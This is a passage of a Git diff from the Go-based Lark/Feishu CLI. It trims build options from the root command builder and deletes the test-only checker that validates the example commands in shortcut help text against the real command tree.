"github.com/larksuite/cli/cmd/service"
"github.com/larksuite/cli/cmd/skill"
cmdupdate "github.com/larksuite/cli/cmd/update"
"github.com/larksuite/cli/cmd/whoami"
_ "github.com/larksuite/cli/events"
"github.com/larksuite/cli/internal/apicatalog"
"github.com/larksuite/cli/internal/build"
"github.com/larksuite/cli/internal/cmdpolicy"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/hook"
"github.com/larksuite/cli/internal/keychain"
"github.com/larksuite/cli/internal/registry"
"github.com/larksuite/cli/shortcuts"
"github.com/spf13/cobra"
)
@@ -39,25 +31,9 @@ import (
type BuildOption func(*buildConfig)
type buildConfig struct {
streams *cmdutil.IOStreams
keychain keychain.KeychainAccess
globals GlobalOptions
skipPlugins bool
skipStrictMode bool
skipService bool
serviceCatalog *apicatalog.Catalog
startupBrand core.LarkBrand
}
// WithStartupBrand initializes the API registry with the given brand before
// any command registration touches the runtime catalog. Without it the
// registry's sync.Once locks onto the Feishu default at first catalog access,
// long before the lazily-resolved config brand is known — see
// ResolveStartupBrand for the caller-side resolution.
func WithStartupBrand(brand core.LarkBrand) BuildOption {
return func(c *buildConfig) {
c.startupBrand = brand
}
streams *cmdutil.IOStreams
keychain keychain.KeychainAccess
globals GlobalOptions
}
// WithIO sets the IO streams for the CLI by wrapping raw reader/writers.
@@ -75,18 +51,6 @@ func WithKeychain(kc keychain.KeychainAccess) BuildOption {
}
}
// embeddedSkillContent is the skill tree wired into cmdutil.Factory.SkillContent
// at build time. It is registered by the repo-root package main's init via
// SetEmbeddedSkillContent — it cannot be threaded through main.go without
// breaking the single-file preview build (see skills_embed.go). nil in builds
// that embed no skills; the `skills` commands then return a typed internal error.
var embeddedSkillContent fs.FS
// SetEmbeddedSkillContent registers the embedded skill tree. Called from the
// repo-root package main's init; a wrapper main can call it before Execute to
// supply its own skill content.
func SetEmbeddedSkillContent(fsys fs.FS) { embeddedSkillContent = fsys }
// HideProfile sets the visibility policy for the root-level --profile flag.
// When hide is true the flag stays registered (so existing invocations still
// parse) but is omitted from help and shell completion. Typically called as
@@ -97,41 +61,6 @@ func HideProfile(hide bool) BuildOption {
}
}
// WithoutPlugins builds only repository-owned commands. It is intended for
// inspection tools that need a deterministic command tree.
func WithoutPlugins() BuildOption {
return func(c *buildConfig) {
c.skipPlugins = true
}
}
// WithoutStrictMode builds the complete repository-owned command tree without
// applying user/profile strict-mode pruning. It is intended for offline
// inspection tools, not production execution.
func WithoutStrictMode() BuildOption {
return func(c *buildConfig) {
c.skipStrictMode = true
}
}
// WithoutServiceCommands builds only hand-authored commands. It is intended for
// repository quality gates that should not depend on the remote OpenAPI
// metadata command surface.
func WithoutServiceCommands() BuildOption {
return func(c *buildConfig) {
c.skipService = true
}
}
// WithServiceCatalog builds generated service commands from a specific metadata
// catalog. It is intended for offline inspection tools that need deterministic
// embedded metadata while production execution keeps using the runtime catalog.
func WithServiceCatalog(catalog apicatalog.Catalog) BuildOption {
return func(c *buildConfig) {
c.serviceCatalog = &catalog
}
}
// Build constructs the full command tree. It also installs registered
// plugins and emits the Startup lifecycle event during assembly --
// so Plugin.On(Startup) handlers run even if the returned command is
@@ -170,17 +99,10 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
cfg.streams = cmdutil.SystemIO()
}
// Initialize the registry brand before anything touches the runtime
// catalog (its sync.Once would otherwise lock onto the Feishu default).
if cfg.startupBrand != "" {
registry.InitWithBrand(cfg.startupBrand)
}
f := cmdutil.NewDefault(cfg.streams, inv)
if cfg.keychain != nil {
f.Keychain = cfg.keychain
}
f.SkillContent = embeddedSkillContent
rootCmd := &cobra.Command{
Use: "lark-cli",
Short: "Lark/Feishu CLI — OAuth authorization, UAT management, API calls",
@@ -193,19 +115,8 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
rootCmd.SetOut(cfg.streams.Out)
rootCmd.SetErr(cfg.streams.ErrOut)
// Root-only usage template (curated Usage synopsis + skills footer); see
// rootUsageTemplate.
rootCmd.SetUsageTemplate(rootUsageTemplate)
installTipsHelpFunc(rootCmd)
rootCmd.SilenceErrors = true
// SilenceUsage as a static field (not only in PersistentPreRun) so it also
// covers flag-parse errors, which fail before PreRun runs — otherwise cobra
// dumps usage instead of our structured error. SetFlagErrorFunc on root is
// inherited by every subcommand, turning unknown-flag errors into a
// structured "did you mean" envelope.
rootCmd.SilenceUsage = true
rootCmd.SetFlagErrorFunc(flagDidYouMean)
RegisterGlobalFlags(rootCmd.PersistentFlags(), &cfg.globals)
rootCmd.PersistentPreRun = func(cmd *cobra.Command, args []string) {
@@ -217,39 +128,20 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
rootCmd.AddCommand(auth.NewCmdAuth(f))
rootCmd.AddCommand(profile.NewCmdProfile(f))
rootCmd.AddCommand(doctor.NewCmdDoctor(f))
rootCmd.AddCommand(whoami.NewCmdWhoami(f))
rootCmd.AddCommand(api.NewCmdApiWithContext(ctx, f, nil))
rootCmd.AddCommand(schema.NewCmdSchema(f, nil))
rootCmd.AddCommand(completion.NewCmdCompletion(f))
rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
rootCmd.AddCommand(skill.NewCmdSkill(f))
rootCmd.AddCommand(agents.NewCmdAgents(f))
if !cfg.skipService {
if cfg.serviceCatalog != nil {
service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)
} else {
service.RegisterServiceCommandsWithContext(ctx, rootCmd, f)
}
}
service.RegisterServiceCommandsWithContext(ctx, rootCmd, f)
shortcuts.RegisterShortcutsWithContext(ctx, rootCmd, f)
groupRootCommands(rootCmd)
installUnknownSubcommandGuard(rootCmd)
// Bare `lark-cli` in an interactive terminal offers an interactive upgrade
// before printing help; non-bare invocations and non-TTY are unaffected.
installRootUpgradePrompt(f, rootCmd)
if mode := f.ResolveStrictMode(ctx); mode.IsActive() && !cfg.skipStrictMode {
if mode := f.ResolveStrictMode(ctx); mode.IsActive() {
pruneForStrictMode(rootCmd, mode)
}
if cfg.skipPlugins {
recordInventory(nil)
return f, rootCmd, nil
}
installResult, installErr := installPluginsAndHooks(cfg.streams.ErrOut)
if installErr != nil {
installPluginInstallErrorGuard(rootCmd, installErr)

View File

@@ -1,46 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd
import (
"context"
"strings"
"testing"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/spf13/cobra"
)
func TestBuildWithoutPluginsStillBuildsBuiltinCommands(t *testing.T) {
root := Build(context.Background(), cmdutil.InvocationContext{}, WithoutPlugins())
if root == nil {
t.Fatal("Build returned nil root")
}
if findCommand(root, "api") == nil {
t.Fatal("builtin api command missing")
}
if findCommand(root, "docs +fetch") == nil {
t.Fatal("builtin docs +fetch shortcut missing")
}
}
func findCommand(root *cobra.Command, path string) *cobra.Command {
parts := strings.Fields(path)
cmd := root
for _, part := range parts {
var next *cobra.Command
for _, child := range cmd.Commands() {
if child.Name() == part {
next = child
break
}
}
if next == nil {
return nil
}
cmd = next
}
return cmd
}

View File

@@ -1,160 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd_test
import (
"sort"
"strings"
)
// universalFlags are accepted by every command (cobra auto-injects help; the
// root injects version). They are never reported as unknown.
var universalFlags = map[string]bool{"--help": true, "-h": true, "--version": true}
// catalog is the source-of-truth command catalog: command path -> accepted flag
// tokens. A path is the command words WITHOUT the "lark-cli" root prefix, e.g.
// "contact +search-user". The root command is the empty path "".
type catalog struct {
flagsByPath map[string]map[string]bool
group map[string]bool // paths that are parent groups (have subcommands)
sorted []string // cached sorted paths for suggestCommand; invalidated on addCommand
}
func newCatalog() *catalog {
return &catalog{
flagsByPath: map[string]map[string]bool{},
group: map[string]bool{},
}
}
// setGroup records whether path is a parent group (has subcommands). Leftover
// words after a group node are unknown subcommands; after a leaf they are
// positionals (e.g. "api GET /path").
func (c *catalog) setGroup(path string, isGroup bool) {
if isGroup {
c.group[path] = true
}
}
func (c *catalog) isGroup(path string) bool { return c.group[path] }
// addCommand registers a command path and the flags it accepts. Repeated calls
// for the same path union the flag sets. flags are full tokens ("--query", "-q").
func (c *catalog) addCommand(path string, flags []string) {
set := c.flagsByPath[path]
if set == nil {
set = map[string]bool{}
c.flagsByPath[path] = set
}
for _, f := range flags {
set[f] = true
}
c.sorted = nil // invalidate cached suggestion list
}
func (c *catalog) hasCommand(path string) bool {
_, ok := c.flagsByPath[path]
return ok
}
// hasFlag reports whether flag is accepted by command path (universal flags
// always pass).
func (c *catalog) hasFlag(path, flag string) bool {
if universalFlags[flag] {
return true
}
set := c.flagsByPath[path]
return set[flag]
}
// longestPrefix returns the longest known command path that is a prefix of
// words, plus how many words it consumed. This separates real subcommands from
// trailing positionals (e.g. "api GET /path" resolves to "api"). When words is
// empty it falls back to the root command. ok=false means not even the first
// word names a command.
func (c *catalog) longestPrefix(words []string) (path string, n int, ok bool) {
if len(words) == 0 {
if c.hasCommand("") {
return "", 0, true
}
return "", 0, false
}
for i := len(words); i >= 1; i-- {
cand := strings.Join(words[:i], " ")
if c.hasCommand(cand) {
return cand, i, true
}
}
return "", 0, false
}
// paths returns all known command paths, sorted.
func (c *catalog) paths() []string {
out := make([]string, 0, len(c.flagsByPath))
for p := range c.flagsByPath {
out = append(out, p)
}
sort.Strings(out)
return out
}
// suggestCommand returns the known command path closest to want (small edit
// distance), for error hints. Returns "" when nothing is reasonably close.
func (c *catalog) suggestCommand(want string) string {
if c.sorted == nil {
c.sorted = c.paths() // built once after the catalog is fully populated
}
return closest(want, c.sorted)
}
// suggestFlag returns the flag of path closest to flag, for error hints.
func (c *catalog) suggestFlag(path, flag string) string {
set := c.flagsByPath[path]
cands := make([]string, 0, len(set))
for f := range set {
cands = append(cands, f)
}
sort.Strings(cands)
return closest(flag, cands)
}
// closest returns the candidate with the smallest Levenshtein distance to want,
// but only if that distance is within a tolerance scaled to want's length
// (avoids absurd suggestions).
func closest(want string, cands []string) string {
best := ""
bestD := 1 << 30
for _, cand := range cands {
d := levenshtein(want, cand)
if d < bestD {
bestD, best = d, cand
}
}
tol := len(want)/2 + 1
if bestD > tol {
return ""
}
return best
}
func levenshtein(a, b string) int {
ra, rb := []rune(a), []rune(b)
prev := make([]int, len(rb)+1)
for j := range prev {
prev[j] = j
}
for i := 1; i <= len(ra); i++ {
cur := make([]int, len(rb)+1)
cur[0] = i
for j := 1; j <= len(rb); j++ {
cost := 1
if ra[i-1] == rb[j-1] {
cost = 0
}
cur[j] = min(prev[j]+1, cur[j-1]+1, prev[j-1]+cost)
}
prev = cur
}
return prev[len(rb)]
}

View File

@@ -1,60 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd_test
import "strings"
// Finding kinds.
const (
unknownCommand = "unknown_command"
unknownFlag = "unknown_flag"
)
// finding is a single mismatch between an example command reference and the
// catalog.
type finding struct {
line int
raw string
kind string // unknownCommand | unknownFlag
path string // resolved command path (unknownFlag) or attempted path (unknownCommand)
flag string // offending flag (unknownFlag only)
suggest string // nearest known command/flag, "" if none close
}
// checkRefs validates refs against cat and returns all mismatches in order.
func checkRefs(cat *catalog, refs []ref) []finding {
var out []finding
for _, r := range refs {
path, n, ok := cat.longestPrefix(r.words)
if !ok {
attempted := strings.Join(r.words, " ")
out = append(out, finding{
line: r.line, raw: r.raw, kind: unknownCommand,
path: attempted, suggest: cat.suggestCommand(attempted),
})
continue
}
// Leftover words after a group node are an unknown subcommand (e.g. a
// mistyped method like "batch_modify_message"). After a leaf they are
// positionals (e.g. "api GET /path"), so only groups trigger this.
if n < len(r.words) && cat.isGroup(path) {
attempted := strings.Join(r.words, " ")
out = append(out, finding{
line: r.line, raw: r.raw, kind: unknownCommand,
path: attempted, suggest: cat.suggestCommand(attempted),
})
continue
}
for _, f := range r.flags {
if cat.hasFlag(path, f) {
continue
}
out = append(out, finding{
line: r.line, raw: r.raw, kind: unknownFlag,
path: path, flag: f, suggest: cat.suggestFlag(path, f),
})
}
}
return out
}

View File

@@ -1,222 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd_test
import (
"regexp"
"strings"
)
// ref is one lark-cli command reference extracted from a shortcut example.
type ref struct {
line int // 1-based line number (the line where the command starts)
raw string // reconstructed command text, for error display
words []string // command words before the first flag (subcommand candidates)
flags []string // flag tokens used, e.g. "--query", "-q"
}
const cliToken = "lark-cli"
// subcommandStart guards against false positives from prose: a real command's
// first word is ASCII (a service name or a +shortcut). A token starting with
// CJK / punctuation is treated as narration, not a command.
var subcommandStart = regexp.MustCompile(`^[A-Za-z+]`)
// shellStops are standalone tokens that terminate a command (pipes, redirects,
// separators). Separators glued to a token (`get;`, `foo|`) are handled inline.
var shellStops = map[string]bool{
"|": true, "||": true, "&&": true, "&": true, ";": true,
">": true, ">>": true, "<": true, "2>": true, "2>&1": true,
}
// wordTrailPunct is sentence / CJK punctuation that can cling to a command word
// in prose ("auth login." / "auth login"); stripped so the word still resolves
// instead of being dropped as an unknown command or non-ASCII narration.
const wordTrailPunct = `.,;:!?"')]},。、;:!?)】」』`
// parseRefs extracts every lark-cli command reference from text (a shortcut's
// Tips line, which may embed an "Example: lark-cli ..." command). It is
// deliberately format-agnostic: it keys on the "lark-cli" token whether it sits
// in a ```bash fence, an inline `code` span, or bare prose. Backslash
// line-continuations are joined first so a multi-line invocation is parsed as
// one command; inline-code backticks and trailing # comments terminate it.
func parseRefs(content string) []ref {
var refs []ref
lines := strings.Split(content, "\n")
for i := 0; i < len(lines); i++ {
lineNo := i + 1
logical := lines[i]
// Shell line continuation: a trailing backslash joins the next physical
// line. Without this, flags on the continuation lines of a multi-line
// `lark-cli ... \` example are never seen by the checker.
for endsWithBackslash(logical) && i+1 < len(lines) {
logical = strings.TrimRight(logical, " \t")
logical = logical[:len(logical)-1] // drop the trailing backslash
i++
logical += " " + lines[i]
}
refs = append(refs, parseLine(logical, lineNo)...)
}
return refs
}
func endsWithBackslash(s string) bool {
return strings.HasSuffix(strings.TrimRight(s, " \t"), `\`)
}
func parseLine(line string, lineNo int) []ref {
var refs []ref
rest := line
for {
idx := strings.Index(rest, cliToken)
if idx < 0 {
break
}
after := rest[idx+len(cliToken):]
beforeOK := idx == 0 || isBoundary(rest[idx-1])
afterOK := after == "" || isBoundary(after[0])
if beforeOK && afterOK {
if words, flags, raw, ok := parseCmd(after); ok {
refs = append(refs, ref{line: lineNo, raw: cliToken + raw, words: words, flags: flags})
}
}
rest = after
}
return refs
}
// parseCmd tokenizes the text following "lark-cli" into leading command words
// (the subcommand path, up to the first flag) and flag tokens. It stops at a
// shell separator (standalone or glued), an inline-code backtick, a comment, or
// a placeholder/prose word. ok=false filters out non-commands.
func parseCmd(after string) (words, flags []string, raw string, ok bool) {
// An inline code span ends at the next backtick; a command never spans one.
if i := strings.IndexByte(after, '`'); i >= 0 {
after = after[:i]
}
// Drop $(...) command substitutions so flags belonging to the inner command
// (e.g. `--data "$(jq -n --arg x ...)"`) are not mistaken for lark-cli flags.
after = stripCmdSubst(after)
var kept []string
inFlags := false
for _, orig := range strings.Fields(after) {
tok := orig
if shellStops[tok] || strings.HasPrefix(tok, "#") {
break
}
// A shell separator glued to a token ends the command mid-token
// ("get;", "foo|next"): keep the part before it, handle it, then stop.
stop := false
if i := strings.IndexAny(tok, ";|"); i >= 0 {
tok, stop = tok[:i], true
}
switch {
case tok == "" || tok == "-":
// empty (after a glued separator) or a bare stdin marker — skip
case strings.HasPrefix(tok, "-"):
if f := normalizeFlag(tok); f != "" {
inFlags = true
flags = append(flags, f)
kept = append(kept, tok)
}
case inFlags:
// positional / flag value after the first flag — not a command word
kept = append(kept, tok)
default:
// Command-path word. ASCII placeholder markers (<x>, [x], {x|y},
// +<verb>, ...) end the command — checked on the RAW token so the
// trailing-punct stripping below cannot erase a "..." ellipsis
// ("base +..." must stay a placeholder, not become "+").
if strings.ContainsAny(tok, "<>[]{}|") || strings.Contains(tok, "...") {
stop = true
break
}
// Strip trailing sentence/CJK punctuation so "login." / "login"
// resolve to "login"; non-ASCII narration ends the command.
w := strings.TrimRight(tok, wordTrailPunct)
if w == "" || hasNonASCII(w) {
stop = true
break
}
words = append(words, w)
kept = append(kept, tok)
}
if stop {
break
}
}
if len(kept) > 0 {
raw = " " + strings.Join(kept, " ")
}
// Keep root-only refs ("lark-cli --help") and refs whose first word looks
// like a subcommand; drop prose ("lark-cli 就能搞定 ...").
if len(words) == 0 {
return words, flags, raw, len(flags) > 0
}
if !subcommandStart.MatchString(words[0]) {
return nil, nil, "", false
}
return words, flags, raw, true
}
// stripCmdSubst removes $(...) command substitutions (including nested ones)
// from s, leaving the surrounding text intact. Backtick substitutions are
// already handled upstream (a command never spans a backtick).
func stripCmdSubst(s string) string {
var b strings.Builder
depth := 0
for i := 0; i < len(s); i++ {
if depth == 0 && i+1 < len(s) && s[i] == '$' && s[i+1] == '(' {
depth = 1
i++ // skip '('
continue
}
if depth > 0 {
switch s[i] {
case '(':
depth++
case ')':
depth--
}
continue
}
b.WriteByte(s[i])
}
return b.String()
}
// isPlaceholderOrProse reports whether a command word is a doc placeholder
// (<resource>, [flags], {a|b}, +<verb>, ...) or narration (CJK / other
// non-ASCII), rather than a literal command token.
func isPlaceholderOrProse(w string) bool {
if hasNonASCII(w) {
return true
}
return strings.ContainsAny(w, "<>[]{}|") || strings.Contains(w, "...")
}
func hasNonASCII(s string) bool {
return strings.IndexFunc(s, func(r rune) bool { return r > 127 }) >= 0
}
// flagShape matches the leading flag token, stripping any trailing junk such as
// a "=value" suffix or punctuation that bled in from the surrounding markdown
// ("--help\"", "--help;", "--params={}"). The underscore is allowed because
// real flags use it ("--input_format", "--output_as"). Returns "" for non-flags.
var flagShape = regexp.MustCompile(`^--?[A-Za-z][A-Za-z0-9_-]*`)
// normalizeFlag extracts the canonical flag token from tok, or "" if tok is not
// a real flag (e.g. a shell-string fragment like "-草稿'").
func normalizeFlag(tok string) string {
return flagShape.FindString(tok)
}
func isBoundary(b byte) bool {
switch b {
case ' ', '\t', '`', '(', ')', '\'', '"', '*':
return true
}
return false
}

View File

@@ -1,113 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// This file and its cmdexample_*_test.go siblings implement a test-only check:
// the example commands embedded in shortcut definitions (the "Example: lark-cli
// ..." lines in each shortcut's Tips, shown in --help) must match the real
// command tree. It lives entirely in _test.go files (package cmd_test) so it
// ships in no binary and is not importable by product code; the truth source is
// cmd.Build, the same tree the binary uses, so the check cannot drift.
//
// It runs in the standard unit-test CI job (go test ./cmd/...). A mismatch — an
// example using a renamed command or an unaccepted flag — fails that job.
package cmd_test
import (
"context"
"sort"
"strings"
"testing"
"github.com/larksuite/cli/cmd"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/shortcuts"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// TestShortcutExampleCommands checks the example commands embedded in every
// shortcut's Tips against the live command tree. A shortcut that defines no
// example is simply skipped.
//
// Because the examples and the command definitions live in the same Go code,
// this is a self-consistency check: any mismatch (an example using a renamed
// command or a flag the command doesn't accept) is a bug to fix at the source.
// It runs over all shortcuts — no baseline, no diff — since a wrong example is
// always a defect, never acceptable "pre-existing drift".
func TestShortcutExampleCommands(t *testing.T) {
// Reproducibility: use the embedded API metadata (not a developer's stale
// ~/.lark-cli remote cache, which can miss commands) and an empty config
// dir so local strict mode / plugins / policy cannot reshape the tree.
// t.Setenv auto-restores after the test, so other cmd tests are unaffected.
t.Setenv("LARKSUITE_CLI_REMOTE_META", "off")
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
cat := buildCmdExampleCatalog()
type located struct {
shortcut string
f finding
}
var findings []located
for _, sc := range shortcuts.AllShortcuts() {
var refs []ref
for _, tip := range sc.Tips {
refs = append(refs, parseRefs(tip)...)
}
label := strings.TrimSpace(sc.Service + " " + sc.Command)
for _, f := range checkRefs(cat, refs) {
findings = append(findings, located{shortcut: label, f: f})
}
}
if len(findings) == 0 {
return
}
sort.Slice(findings, func(i, j int) bool { return findings[i].shortcut < findings[j].shortcut })
for _, lf := range findings {
hint := ""
if lf.f.suggest != "" {
hint = " (did you mean " + lf.f.suggest + "?)"
}
if lf.f.kind == unknownFlag {
t.Errorf("shortcut %q example uses unknown flag %s on %q%s\n %s",
lf.shortcut, lf.f.flag, lf.f.path, hint, strings.TrimSpace(lf.f.raw))
} else {
t.Errorf("shortcut %q example uses unknown command %q%s\n %s",
lf.shortcut, lf.f.path, hint, strings.TrimSpace(lf.f.raw))
}
}
t.Fatalf("%d shortcut example command(s) don't match the real CLI — "+
"fix the Example in the shortcut definition.", len(findings))
}
// buildCmdExampleCatalog walks the live cobra command tree and records every
// command path (minus the "lark-cli" root prefix) with its accepted flags and
// whether it is a parent group. This is the same Build() the binary uses, so
// the catalog can never drift from the real commands.
func buildCmdExampleCatalog() *catalog {
root := cmd.Build(context.Background(), cmdutil.InvocationContext{})
cat := newCatalog()
var walk func(c *cobra.Command)
walk = func(c *cobra.Command) {
path := strings.TrimSpace(strings.TrimPrefix(c.CommandPath(), "lark-cli"))
var flags []string
add := func(fl *pflag.Flag) {
flags = append(flags, "--"+fl.Name)
if fl.Shorthand != "" {
flags = append(flags, "-"+fl.Shorthand)
}
}
c.Flags().VisitAll(add)
c.InheritedFlags().VisitAll(add)
c.PersistentFlags().VisitAll(add) // root's own persistent flags (e.g. --profile)
cat.addCommand(path, flags)
cat.setGroup(path, c.HasSubCommands())
for _, sub := range c.Commands() {
walk(sub)
}
}
walk(root)
return cat
}

View File

@@ -1,233 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd_test
import (
"strings"
"testing"
)
func testCatalog() *catalog {
c := newCatalog()
c.addCommand("", []string{"--profile"}) // root
c.setGroup("", true)
c.addCommand("contact", []string{"--profile"})
c.setGroup("contact", true)
c.addCommand("contact +search-user", []string{"--query", "--as", "--format", "-q"})
c.addCommand("api", []string{"--params", "--data", "--as"}) // leaf (no subcommands)
c.addCommand("mail", nil)
c.setGroup("mail", true)
c.addCommand("mail user_mailbox.messages", []string{"--profile"})
c.setGroup("mail user_mailbox.messages", true)
c.addCommand("mail user_mailbox.messages batch_modify", []string{"--params", "--data"})
return c
}
func TestCmdExampleCatalogHasCommandAndFlag(t *testing.T) {
c := testCatalog()
if !c.hasCommand("contact +search-user") {
t.Fatal("expected contact +search-user to exist")
}
if c.hasCommand("contact +nope") {
t.Fatal("did not expect contact +nope")
}
if !c.hasFlag("contact +search-user", "--query") {
t.Fatal("--query should be valid")
}
if c.hasFlag("contact +search-user", "--nope") {
t.Fatal("--nope should be invalid")
}
// universal flags pass on any command
for _, f := range []string{"--help", "-h", "--version"} {
if !c.hasFlag("contact +search-user", f) {
t.Fatalf("universal flag %s should pass", f)
}
}
}
func TestCmdExampleLongestPrefix(t *testing.T) {
c := testCatalog()
tests := []struct {
words []string
want string
wantN int
wantOK bool
}{
{[]string{"contact", "+search-user"}, "contact +search-user", 2, true},
{[]string{"api", "GET", "/open-apis/x"}, "api", 1, true}, // trailing positionals
{[]string{"nope"}, "", 0, false},
{nil, "", 0, true}, // empty -> root
}
for _, tt := range tests {
got, n, ok := c.longestPrefix(tt.words)
if got != tt.want || n != tt.wantN || ok != tt.wantOK {
t.Errorf("longestPrefix(%v) = (%q,%d,%v), want (%q,%d,%v)",
tt.words, got, n, ok, tt.want, tt.wantN, tt.wantOK)
}
}
}
func refWordsOf(refs []ref) [][]string {
var out [][]string
for _, r := range refs {
out = append(out, r.words)
}
return out
}
func TestCmdExampleParseRefsExtractsCommands(t *testing.T) {
content := strings.Join([]string{
"运行 `lark-cli contact +search-user --query 张三` 搜索", // inline code
"```bash",
"lark-cli api GET /open-apis/x --params '{}'", // bash block
"```",
"用 lark-cli mail user_mailbox.messages batch_modify 即可", // bare prose command
"npx foo | lark-cli api GET /y", // after a pipe
}, "\n")
refs := parseRefs(content)
if len(refs) != 4 {
t.Fatalf("expected 4 refs, got %d: %v", len(refs), refWordsOf(refs))
}
if got := refs[0]; strings.Join(got.words, " ") != "contact +search-user" ||
len(got.flags) != 1 || got.flags[0] != "--query" {
t.Errorf("ref0 = %+v", got)
}
if got := refs[1]; strings.Join(got.words, " ") != "api GET /open-apis/x" {
t.Errorf("ref1 words = %v", got.words)
}
}
func TestCmdExampleParseRefsFiltersPlaceholdersAndProse(t *testing.T) {
// A line whose first word is prose yields no command at all.
if refs := parseRefs("lark-cli 就能搞定这件事"); len(refs) != 0 {
t.Errorf("prose-first line should yield 0 refs, got %v", refWordsOf(refs))
}
// Syntax templates / trailing prose may leave a real leading word ("mail"),
// but no placeholder or CJK token may leak into the command words — that is
// what prevents false positives like an "<resource>" unknown-command report.
for _, line := range []string{
"lark-cli mail <resource> <method> [flags]",
"lark-cli apps +<verb> [flags]",
"lark-cli base +...",
"lark-cli mail 写信场景下的格式说明",
} {
for _, r := range parseRefs(line) {
for _, w := range r.words {
if isPlaceholderOrProse(w) {
t.Errorf("%q: placeholder/prose token %q leaked into words %v", line, w, r.words)
}
}
}
}
}
func TestCmdExampleParseRefsStripsTrailingJunk(t *testing.T) {
// frontmatter-style quoted value: the trailing quote must not bleed into the flag
refs := parseRefs(`cliHelp: "lark-cli contact --help"`)
if len(refs) != 1 {
t.Fatalf("expected 1 ref, got %d", len(refs))
}
if len(refs[0].flags) != 1 || refs[0].flags[0] != "--help" {
t.Errorf("expected flag --help, got %v", refs[0].flags)
}
// bare "-" (stdin marker) and "=value" suffix
refs = parseRefs("lark-cli api GET /x --params={} --data -")
if len(refs) != 1 {
t.Fatalf("expected 1 ref, got %d", len(refs))
}
flags := strings.Join(refs[0].flags, " ")
if flags != "--params --data" {
t.Errorf("expected '--params --data', got %q", flags)
}
}
func TestCmdExampleCheck(t *testing.T) {
c := testCatalog()
tests := []struct {
name string
r ref
wantKind string // "" = no finding
wantPath string
}{
{"valid shortcut", ref{words: []string{"contact", "+search-user"}, flags: []string{"--query"}}, "", ""},
{"valid leaf positional", ref{words: []string{"api", "GET", "/x"}}, "", ""},
{"unknown top command", ref{words: []string{"nope"}}, unknownCommand, "nope"},
{"group leftover = unknown subcommand",
ref{words: []string{"mail", "user_mailbox.messages", "batch_modify_message"}},
unknownCommand, "mail user_mailbox.messages batch_modify_message"},
{"unknown flag", ref{words: []string{"contact", "+search-user"}, flags: []string{"--nope"}}, unknownFlag, "contact +search-user"},
{"universal flag ok", ref{words: []string{"contact", "+search-user"}, flags: []string{"--help"}}, "", ""},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
fs := checkRefs(c, []ref{tt.r})
if tt.wantKind == "" {
if len(fs) != 0 {
t.Fatalf("expected no finding, got %+v", fs)
}
return
}
if len(fs) != 1 {
t.Fatalf("expected 1 finding, got %d: %+v", len(fs), fs)
}
if fs[0].kind != tt.wantKind || fs[0].path != tt.wantPath {
t.Errorf("got kind=%s path=%q, want kind=%s path=%q", fs[0].kind, fs[0].path, tt.wantKind, tt.wantPath)
}
})
}
}
func TestCmdExampleCheckSuggestsNearest(t *testing.T) {
c := testCatalog()
fs := checkRefs(c, []ref{{words: []string{"mail", "user_mailbox.messages", "batch_modify_message"}}})
if len(fs) != 1 || fs[0].suggest != "mail user_mailbox.messages batch_modify" {
t.Fatalf("expected suggestion 'mail user_mailbox.messages batch_modify', got %+v", fs)
}
}
// TestCmdExampleParseRefsRobustness covers the parser edge cases hardened after
// review: backslash continuation, underscore flags, $(...) substitution, glued
// separators, trailing punctuation, and the "..." placeholder.
func TestCmdExampleParseRefsRobustness(t *testing.T) {
cases := []struct {
name, content, wantWords, wantFlags string
wantRefs int
}{
{"backslash continuation joins flags",
"lark-cli contact +search-user \\\n --query foo \\\n --as user",
"contact +search-user", "--query --as", 1},
{"underscore flag not truncated",
"lark-cli whiteboard +update --input_format mermaid",
"whiteboard +update", "--input_format", 1},
{"command-substitution flags ignored",
`lark-cli slides x create --data "$(jq -n --arg c '{}')" --as user`,
"slides x create", "--data --as", 1},
{"glued separator truncates",
"lark-cli auth login; echo done",
"auth login", "", 1},
{"trailing CJK punctuation stripped",
"用 lark-cli auth login。",
"auth login", "", 1},
{"ellipsis placeholder stays placeholder",
"lark-cli base +...",
"base", "", 1},
}
for _, tt := range cases {
t.Run(tt.name, func(t *testing.T) {
refs := parseRefs(tt.content)
if len(refs) != tt.wantRefs {
t.Fatalf("refs=%d want %d: %v", len(refs), tt.wantRefs, refWordsOf(refs))
}
if tt.wantRefs == 0 {
return
}
if got := strings.Join(refs[0].words, " "); got != tt.wantWords {
t.Errorf("words=%q want %q", got, tt.wantWords)
}
if got := strings.Join(refs[0].flags, " "); got != tt.wantFlags {
t.Errorf("flags=%q want %q", got, tt.wantFlags)
}
})
}
}

View File

@@ -1,52 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd
import (
"reflect"
"testing"
"github.com/spf13/cobra"
)
// TestCommandCatalogPath pins that the auth-hint path reconstruction inverts the
// service command tree for any depth — flat dotted resources AND genuinely
// nested resources — so it round-trips through apicatalog.Resolve instead of
// assuming a fixed root->service->resource->method shape.
func TestCommandCatalogPath(t *testing.T) {
chain := func(names ...string) *cobra.Command {
var parent, leaf *cobra.Command
for _, n := range names {
c := &cobra.Command{Use: n}
if parent != nil {
